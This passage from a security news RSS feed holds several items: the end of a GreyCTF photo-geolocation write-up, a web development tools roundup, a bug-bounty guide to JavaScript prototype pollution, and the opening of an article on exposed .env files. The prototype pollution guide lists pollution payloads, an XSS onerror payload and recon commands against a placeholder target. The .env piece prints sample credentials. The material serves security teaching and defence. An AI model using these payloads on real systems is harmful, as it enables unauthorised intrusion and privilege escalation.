<br><strong>/media/0/Pictures/TeleChat/IMG_20260514_164900.png</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1lqiUP6Mi9xKuQSweMltQ.png"></figure><p>Now we got the full car plate number: <strong>SG67301K <br></strong>Now for the tricky part, the last question needs the coordinates to identify the pickup point.</p><p>There’s another image in the directory called <strong>spot.jpg</strong>, i guess it’s a clue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_8-dwqAYqcRs0mleikx6A.png"></figure><p>that’s a big clue and its called spot, so let’s get the exact coordinates.</p><p>wanna do a big shoutout to my friend <a href="https://medium.com/u/ac33a41637dc">7h3kn0w3r</a> for helping me get the exact coordinates</p><p>Found exactly the same view on different platforms such as: <a href="https://www.alamy.com/singapore-circa-2018-lilly-pads-in-a-pond-bathed-in-evening-light-and-ripples-in-the-famous-botanic-gardens-singapore-as-nature-background-with-sp-image364466725.html?imageid=20FB8FFE-CD80-4AE7-BD8D-CB76B424D378&amp;pn=1&amp;searchId=9dfd5025a12e0c6d90aafd31c6a327f2&amp;searchtype=9"><strong><em>alamy</em></strong></a><strong><em> </em></strong>and facebook post <a href="https://www.facebook.com/taste.travel.tell/posts/pfbid02Y19yKHTmRgV9RAp565uadeY9ao7Lvkv2FcG2ZKf1qw3TB9egGbRvzky7icKSnfSul?rdid=EqrEte4tCNofUbYD#"><strong><em>here</em></strong></a><strong><em> </em></strong>, and finally found a good person on <a href="https://www.flickr.com/photos/dannyfoster/9511153795"><strong><em>flickr</em></strong></a><strong><em> </em></strong>posted the exact image with the exact location here: <a href="https://www.flickr.com/map/?fLat=1.401333&amp;fLon=103.794833&amp;zl=13&amp;everyone_nearby=1&amp;photo=9511153795"><em>https://www.flickr.com/map/?fLat=1.401333&amp;fLon=103.794833&amp;zl=13&amp;everyone_nearby=1&amp;photo=9511153795</em></a><strong><em> </em></strong>, so i got it from the url itself. <br>getting the exact coordinates on google maps <a href="https://www.google.com/maps/place/1%C2%B024'04.8%22N+103%C2%B047'41.4%22E/@1.4013335,103.794792,3a,49.3y,143.02h,78.5t/data=!3m7!1e1!3m5!1s0_5Ju7VRToOB7wcSw5aNiA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D11.502224645524834%26panoid%3D0_5Ju7VRToOB7wcSw5aNiA%26yaw%3D143.01629719088223!7i13312!8i6656!4m4!3m3!8m2!3d1.401333!4d103.794833?entry=ttu&amp;g_ep=EgoyMDI2MDUyNy4wIKXMDSoASAFQAw%3D%3D"><strong><em>HERE</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xsf-trmxBUGVNvrdjk7Usw.png"></figure><h4>So Let’s Get the FLAG</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tODJDLXuF0t-q0t0_KDfrQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*EBtcA-TB_PALp2QTS8PTjQ.png"></figure><h4>Thanks For Reading, Hope you enjoyed❤️</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=287437ccb79f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/greyctf-2026-crimewatch-forensics-challenge-writeup-287437ccb79f">GreyCTF 2026  —  Crimewatch Forensics Challenge Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 cutting-edge web development tools you don’t want to miss]]></title>
<description><![CDATA[There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of l...]]></description>
<link>https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</guid>
<pubDate>Tue, 09 Jun 2026 11:03:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of liturgical embellishment that have grown up around the reactive canon. How can we look at things differently to attain the power that we need, without the heavy intricacy?</p>



<p>Here are eight cutting-edge web development tools that point the way. </p>



<h2 class="wp-block-heading">Front-end maestro</h2>



<p>If you put a bunch of classical musicians in a room together with sheet music and let them run, you <em>might </em>get to a cohesive piece—but you <em>probably </em>want a conductor, a maestro who coordinates all of the parts. That is <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a> for your front-end frameworks.</p>



<p>Astro addresses the “<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">hydration</a>” of the front end, that is to say, the process of making the shell reactive. In conventional server-side rendering (SSR), like Next.js or Nuxt, the server not only sends the HTML, but also sends the massive framework runtime down the wire, just to attach event listeners to the page. Astro allows you to write components in React, Svelte, Vue, or Solid, and its compiler strips away all of the JavaScript before it reaches the browser. Astro ships zero JS by default, relying on its <a href="https://docs.astro.build/en/concepts/islands/" data-type="link" data-id="https://docs.astro.build/en/concepts/islands/">islands architecture</a> to hydrate only the specific components that demand interactivity. </p>



<p>Because Astro isolates interactivity into distinct islands, sharing complex state between those islands (e.g., a complex filtering sidebar communicating with a separate dynamic data grid) is fundamentally harder than it is in a monolithic single-page application. If you are building a highly interactive, dashboard-heavy app where every component affects every other component, Astro’s isolated islands might begin to feel more like a straitjacket than a liberation.</p>



<p>See also: <a href="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html" data-type="link" data-id="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html">Qwik</a>. If Astro unbloats by stripping away the JavaScript entirely, Qwik unbloats by delaying it. Qwik delivers instant HTML and serializes the application state, downloading and executing only the JavaScript code required for a specific interaction at the exact millisecond the user clicks a button.</p>



<h2 class="wp-block-heading">Biome: Lint like it’s 2026</h2>



<p><a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> is gradually replacing the underlying infrastructure in the JavaScript ecosystem. But while Rust gives <a href="https://biomejs.dev/">Biome</a> its close-to-the-metal speed, Biome’s true calling card is its unification of the sprawling toolchain under a cohesive umbrella.</p>



<p>The .eslintrc and .prettierrc files and the dozen associated plugins can become a dark and unhappy bog in a project. Biome is the way out of the mire. It is a single, blazingly fast binary that replaces your entire tangled formatting and linting ecosystem, providing a path to code quality that doesn’t require a sprawling web of dependencies.</p>



<p>Probably the biggest drawback to Biome is that you lose the wide-open extensibility—which is exactly the same feature that makes Biome lean.</p>



<p>See also: <a href="https://rspack.rs/">Rspack</a>. Biome cleans up the linting. Rspack unbloats the build step. Also built on Rust for speed, Rspack challenges the new “unbundled” esbuild-based dev mode championed by Vite and uses bundled dev mode.</p>



<h2 class="wp-block-heading">Bun: Fast and integrated back-end JavaScript</h2>



<p>Most cutting-edge JavaScript enthusiasts are already well-aware of <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>. For those who haven’t yet experienced Bun’s enthralling blend of one-stop shopping and blistering speed first-hand, it’s a virtually irrefutable must-try.</p>



<p>Fast is probably an understatement. If you are used to <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> and you try out Bun, you will likely be immediately impressed with the speed at which commands execute. The Bun team has also made an extensive, multi-year effort to bring its engine into close compatibility with Node’s APIs. Overall, Bun is an extraordinary engineering effort that every JS developer should explore. </p>



<p>However, while Bun’s <a href="https://www.infoworld.com/article/2338081/meet-the-zig-programming-language.html">Zig</a>-based engine is in most respects a drop-in for Node, it isn’t perfect, especially when considering the gargantuan landscape of Node packages out there. Node remains the conservative, happy-path engine for server-side JavaScript. </p>



<p>See also: <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html" data-type="link" data-id="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Although Bun has justifiably earned a reputation for bleeding-edge innovation, Deno has quietly pressed ahead with an appealing set of enterprise features like an integrated deployment platform and a front-end framework (<a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>).</p>



<p>The Bun curious also may want to check out my interview with Bun creator <a href="https://www.infoworld.com/article/2338698/interview-with-jarred-sumner-buns-creator-talks-tech-funding-and-startups.html">Jared Sumner</a>.</p>



<h2 class="wp-block-heading">HTMX: Ajax KISS</h2>



<p>If we are talking about clever ways to de-complexify the web, <a href="https://www.infoworld.com/article/4150864/htmx-4-0-hypermedia-finds-a-new-gear.html">HTMX</a> could reasonably be considered the poster-child. It takes the core mechanisms of the modern web client, like <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" data-type="link" data-id="https://developer.mozilla.org/en-US/docs/Glossary/AJAX">Ajax</a> and partial updates, and turns them into simple HTML attributes. That means the state lives exclusively on the server, which is responsible for sending HTMX fragments.</p>



<p>Of course, there are trade-offs. Perhaps most unavoidable is the extreme dependence on the network. Because there is no client-side state machine, the browser will be orphaned and helpless without a connection to the server. That is, unless you <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" data-type="link" data-id="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">get experimental</a> with a <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">local-first datastore</a>.</p>



<p>Long story short: if your app falls into the realm of HTMX’s ability, HTMX is likely to be the most direct <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful</a> way to build it. And HTMX can in fact handle quite a lot.</p>



<p>See also: <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" data-type="link" data-id="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html">Hotwire</a>. A collection of tools for building single-page-style applications using HTML over the wire, Hotwire has great features like page morphing, which can diff HTML instead of cold-loading it, with a simple import. True to classic “free as in speech” software culture, the HTMX and Hotwire projects freely exchange ideas. </p>



<h2 class="wp-block-heading">PowerSync: Data layer redo</h2>



<p>Although the local-first data revolution that <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">PowerSync</a> represents implies a fairly serious engineering deep dive, its core proposal — to entirely reshape the way data moves in web architecture — is something a web developer needs to be aware of.</p>



<p>Usually, we create architectures that require a complex middleware to broker between a reactive client and the datastore. PowerSync proposes a radical alternative: bypass the middleman entirely by dropping a robust SQLite Wasm database directly into the browser.</p>



<p>The UI works on local data using <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">familiar SQL</a>, synchronously. Latency is zero. The dreaded loading spinner vanishes entirely. In the background, PowerSync automatically reconciles your local store with your central Postgres database. It handles the complex syncing algorithms and network drops, effectively making your application offline-first by default.</p>



<p>The catch, of course, is that local-first development forces a massive mental shift. You have to define data slices (similar to a view) that each client user holds. The PowerSync engine does most of the hard work, but things like schema migrations and conflict resolution (when two users edit the same record while offline) require a significantly steeper initial setup than a standard REST API.</p>



<p>See also: <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">RxDB</a>. RxDB is a slightly different flavor of local-first datastore. Whereas PowerSync relies heavily on Postgres, SQLite, and background daemons, RxDB provides a NoSQL, offline-first, reactive database that treats queries as observable streams, pushing UI updates the exact millisecond the local data changes. </p>



<h2 class="wp-block-heading">RooCode: Use any AI you want</h2>



<p>The beauty of <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html">RooCode</a> lies in its ability to orchestrate whatever AI providers you have—for free. RooCode is an extension to <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> that provides an AI manager layer. This layer bridges between the general abilities of the LLM and your code-specific, project-level structures.</p>



<p>RooCode is strong enough to be somewhat agentic in its capabilities. It doesn’t reach the powerhouse abilities of something like Cursor or Antigravity, but it is quite able to handle most small to medium-sized requests. And it does so with a minimum of unnecessary overhead. I find myself often using RooCode alongside my AI-assisted IDE to knock out lesser requirements, for less cost and without interrupting the flow of ongoing epics.</p>



<p>RooCode keeps you free of proprietary ecosystems. It allows you to plug in your own API keys—whether that is Claude, OpenAI, or even a local model running on your own hardware. </p>



<p>The hidden tax of any AI coding assistant, however, is that it fundamentally shifts your job description from “writer” to “editor.” The unbloating of keystrokes can paradoxically lead to massively bloated codebases if developers blindly accept AI-generated boilerplate without actively reviewing its architectural impact. It is incredibly easy to let an agent spin up 500 lines of complex React when 50 lines of plain JavaScript would have done.</p>



<p>See also: <a href="https://antigravity.google/" data-type="link" data-id="https://antigravity.google/">Antigravity</a>. RooCode is a lightweight extension that supercharges your existing environment. Google’s Antigravity is a custom-built editor designed from the ground up around AI, geared for agentic development workflows.</p>



<h2 class="wp-block-heading">TanStack Query: Syncing made simple(r)</h2>



<p>Even when client-side state management is addressed (see Zustand below), there is still a big, gaping hole in the plot: syncing across the server boundary. That is where <a href="https://tanstack.com/query/latest">TanStack Query</a> steps into the breach.</p>



<p>Distributed computing is a notoriously thorny problem, and in fact our standard reactive model walks right into these thorns by holding the same state in two different places: on the client and the server.  Tanstack Query tries to make this inherent architectural friction as painless as possible by acting as an intelligent asynchronous layer. </p>



<p>Instead of using a bunch of manual fetches tied to <code>useState</code> updates, along with fragile <code>isLoading</code> flags and complex state synchronization logic, TanStack Query abstracts the heavy lifting of API responses, background updates, and request deduplication into a few elegant hooks. You tell TanStack Query where to get the data, and it uses a pattern known as “stale-while-revalidate,” which means it will cache and reuse data on the front end (eliminating reload waits) and sync to the latest state in the background. </p>



<p>The catch, however, is that cache invalidation remains one of the hardest problems in computer science—and TanStack Query forces you to face it head-on. You will spend time thinking about “query keys” and deciding when a piece of data should be considered “stale.” No free lunches in software.</p>



<p>See also: <a href="https://swr.vercel.app/">SWR</a>. While TanStack Query is an absolute powerhouse for complex data manipulation, SWR remains a champion of API minimalism, doing exactly what its name implies (stale-while-revalidate) with almost zero configuration.</p>



<h2 class="wp-block-heading">Zustand: Minimalist state</h2>



<p>If you have yet to encounter the monstrosity of large-scale state management in a reactive app, then spoiler alert: it can be nasty. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction">Zustand</a> proposes to dispense with the ceremonial boilerplate of reducers, providers, and unwieldy context wrappers in favor of a tiny, brutally simple global store.</p>



<p>Instead of forcing your entire application tree into a massive React context provider (sometimes leading to cascades of superfluous re-renders across the DOM), Zustand uses custom hooks to tie state directly to the specific components that need it. Zustand strives to achieve the specificity in the VDOM reactive model (instead of eliminating it entirely a la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html">Signals</a>).</p>



<p>You define a store, you call it, and the reactivity just works. It is an expression of the KISS philosophy applied to front-end architecture, scraping away the intricacies of Flux-like patterns. The trade-off for this liberation is the burden of discipline. Because Zustand is unopinionated, it won’t stop you from turning your global store into a cluttered junk drawer. You’ll need to impose your own conventions and guardrails to keep a large-scale project manageable.</p>



<p>See also: <a href="https://jotai.org/" data-type="link" data-id="https://jotai.org/">Jotai</a>. If Zustand is the unbloated global store, Jotai is the unbloated atomic approach. Jotai manages state from the bottom up, calculating changes with surgical precision without triggering massive re-renders across the application tree.</p>



<h2 class="wp-block-heading">New directions in web development</h2>



<p>The most remarkable thing about these eight tools is that they deal in large part with alternative approaches that challenge the familiar. Although you may not be able to adopt them immediately, you will want to keep an eye on them. They are key factors that will continue to influence the shape of web applications and how we build them.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline]]></title>
<description><![CDATA[From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilitiesJavaScript Prototype Pollution Deep DiveTable of ContentsWhat Is Prototype Pollution?The JavaScript Prototype Chain — Deep DiveAttack Vectors & Entry PointsReconnaissance MethodologyExploitati...]]></description>
<link>https://tsecurity.de/de/3580446/hacking/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580446/hacking/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:25 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilities</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fRBOm82WKY9ycNXTz9B4Tw.png"><figcaption>JavaScript Prototype Pollution Deep Dive</figcaption></figure><h3>Table of Contents</h3><ol><li>What Is Prototype Pollution?</li><li>The JavaScript Prototype Chain — Deep Dive</li><li>Attack Vectors &amp; Entry Points</li><li>Reconnaissance Methodology</li><li>Exploitation Techniques — From XSS to RCE</li><li>Real-World Bug Bounty Case Studies</li><li>Advanced Exploit Chains</li><li>Tooling &amp; Automation</li><li>Defense &amp; Remediation</li><li>Full Python Scanner — Production-Ready</li></ol><h3>1. What Is Prototype Pollution?</h3><p>Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.</p><h3>Why It Matters</h3><p>Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*eqg_UNnsK1QKOPlTFFG_qQ.png"><figcaption>Impact Level</figcaption></figure><h3>2. The JavaScript Prototype Chain — Deep Dive</h3><h4>How Inheritance Works</h4><pre>// Every object has a hidden [[Prototype]]<br>const user = { name: "Alice" };</pre><pre>// user ---&gt; Object.prototype ---&gt; null<br>//         ^[[Prototype]]^</pre><p>When you access user.toString(), JavaScript:</p><ol><li>Looks for toString on user itself → not found</li><li>Looks on user.__proto__ (which is Object.prototype) → found!</li><li>Executes it.</li></ol><h3>The Vulnerability Mechanism</h3><pre>// Normal operation<br>const target = {};<br>const source = JSON.parse('{"name": "Alice"}');<br>Object.assign(target, source);<br>// target = { name: "Alice" } — safe</pre><pre>// Polluted operation<br>const source = JSON.parse('{"__proto__": {"isAdmin": true}}');<br>Object.assign(target, source);<br>// target.__proto__.isAdmin = true<br>// ALL objects now have isAdmin: true</pre><h3>Why __proto__ Works as a Key</h3><p>JSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.</p><pre>// Visual representation<br>const obj = {};<br>obj.__proto__.polluted = true;<br>// Equivalent to:<br>Object.prototype.polluted = true;</pre><pre>console.log({}.polluted);  // true<br>console.log([].polluted);  // true<br>console.log("".polluted);  // true (string prototype chain)</pre><h3>The Three Mutation Methods</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*x3HA5gBQwhCAZHlDeZp32Q.png"><figcaption>Method/Vul/Lib</figcaption></figure><h3>3. Attack Vectors &amp; Entry Points</h3><h4>Server-Side Entry Points (Node.js)</h4><pre>POST /api/users<br>Content-Type: application/json</pre><pre>{"name": "test", "__proto__": {"isAdmin": true}}</pre><p><strong>Where to look:</strong></p><ul><li>JSON body parsing (Express body-parser, express.json())</li><li>Query string parsing (qs library, Express built-in)</li><li>Cookie parsing</li><li>File upload metadata</li><li>GraphQL variables</li><li>WebSocket messages</li></ul><h3>Client-Side Entry Points (Browser)</h3><pre>&lt;!-- URL fragment parsing --&gt;<br>https://target.com/#__proto__[polluted]=true</pre><pre>&lt;!-- PostMessage --&gt;<br>window.postMessage({__proto__: {evil: true}}, '*')</pre><pre>&lt;!-- localStorage / sessionStorage --&gt;<br>localStorage.getItem('config') // parsed with JSON.parse</pre><pre>&lt;!-- WebSocket --&gt;<br>ws.send(JSON.stringify({__proto__: {innerHTML: '&lt;img src=x onerror=alert(1)&gt;'}}))</pre><h3>Common Vulnerable Patterns</h3><h4>Pattern 1: Object.assign / Spread Operator</h4><pre>app.post('/api/update', (req, res) =&gt; {<br>  const user = getUser(req.session.userId);<br>  Object.assign(user, req.body);  // VULNERABLE<br>  user.save();<br>});</pre><h4>Pattern 2: _.merge / $.extend</h4><pre>const config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from input</pre><h4>Pattern 3: Deep Clone</h4><pre>const cloned = JSON.parse(JSON.stringify(userInput)); <br>// JSON.parse + JSON.stringify is SAFE — it strips __proto__<br>// BUT: if you then merge cloned into another object...</pre><h4>Pattern 4: URL Query Parsing</h4><pre>// Using qs library with allowPrototypes: false (default is true in older versions)<br>const parsed = qs.parse('a.__proto__.b=c'); <br>// Older qs: parsed = { a: { __proto__: { b: 'c' } } }</pre><h3>4. Reconnaissance Methodology</h3><h3>Phase 1: Identify Dependencies</h3><p>Modern web apps are built on frameworks. Find the soft targets.</p><pre># Client-side: Look for known vulnerable libraries<br>curl -s https://target.com/assets/app.js | grep -iEo \<br>  '(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'</pre><pre># Server-side: Check for Node.js indicators<br>curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'</pre><p><strong>Version lookup table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*sW15qtpZIk3rRmIovXQsxg.png"><figcaption>Vulnerable table</figcaption></figure><h3>Phase 2: Map All Input Points</h3><p>Build a comprehensive list of every location where user data is parsed into objects.</p><pre># Spider the application<br>gospider -s https://target.com -o spider_output</pre><pre># Extract endpoints from JavaScript<br>curl -s https://target.com/assets/app.js | \<br>  grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \<br>  sort -u &gt; endpoints.txt</pre><h3>Phase 3: Brute-Force Pollute Vectors</h3><p>Target each endpoint with multiple payload variants.</p><pre>// Payload matrix — try ALL of these<br>{"__proto__":{"polluted":"yes"}}<br>{"__proto__":["polluted","yes"]}<br>{"__proto__":{"__proto__":{"polluted":"yes"}}}<br>{"constructor":{"prototype":{"polluted":"yes"}}}<br>{"a":{"__proto__":{"polluted":"yes"}}}<br>{"[__proto__]":{"polluted":"yes"}}<br>{"__proto__.polluted":"yes"}  // For query string parsersj</pre><h3>Phase 4: Detection Verification</h3><p>After sending the payload, verify if pollution took effect.</p><p>Server-side check:</p><pre># Send a probe payload that affects something observable<br>curl -s https://target.com/api/status | grep -i '"polluted":"yes"'<br># Or check if you get 200 instead of 403 on admin endpoints</pre><p>Client-side check (if you can execute JS):</p><pre>// Open console on the target page after triggering the pollution<br>Object.prototype.polluted === "yes"<br>// Or<br>({}).polluted === "yes"<br><br><br><br><br></pre><h3>⚠️ <strong>Content Notice</strong></h3><p>Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.</p><p>The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.</p><p>This content is intended solely for security research, awareness, and defensive testing in authorized environments.</p><h4>Reed Full Blog: <a href="https://github.com/SecurityTalent/write-up">https://github.com/SecurityTalent/write-up</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8FEPTDOVMoyB-eds.png"></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=25e0496ade04" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline-25e0496ade04">JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation &amp; Bug Bounty Guideline</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation]]></title>
<description><![CDATA[The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.For bug bounty ...]]></description>
<link>https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</guid>
<pubDate>Thu, 04 Jun 2026 10:21:43 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.</p><p>For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.</p><p>For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSS6p8MhJPdZtCHZZ0EC1g.png"><figcaption>Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</figcaption></figure><h3>Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You</h3><h4>The Anatomy of a .env File</h4><p>The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.</p><p>A typical .env file might contain:</p><pre>DB_HOST=production-db.internal.corp.com<br>DB_DATABASE=main_production<br>DB_USERNAME=root<br>DB_PASSWORD=Str0ng!Passw0rd<br>APP_KEY=base64:abcdef1234567890abcdef1234567890<br>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE<br>AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY<br>STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc<br>REDIS_HOST=127.0.0.1<br>REDIS_PASSWORD=secret<br>MAIL_USERNAME=admin@corp.com<br>MAIL_PASSWORD=smtp_password_here</pre><p>One file. One misconfiguration. Total compromise.</p><h3>The 2024 Unit 42 Campaign: Scale of the Problem</h3><p>In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:</p><ul><li>110,000 domains scanned for exposed .env files</li><li>90,000+ unique leaked environment variables harvested</li><li>7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)</li><li>1,500+ social media account credentials</li><li>1,185 unique AWS access keys</li><li>333 PayPal OAuth tokens</li><li>235 GitHub tokens</li><li>111 HubSpot API keys</li><li>39 Slack webhooks</li></ul><p>The attack chain was elegant and terrifying:</p><blockquote>Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions 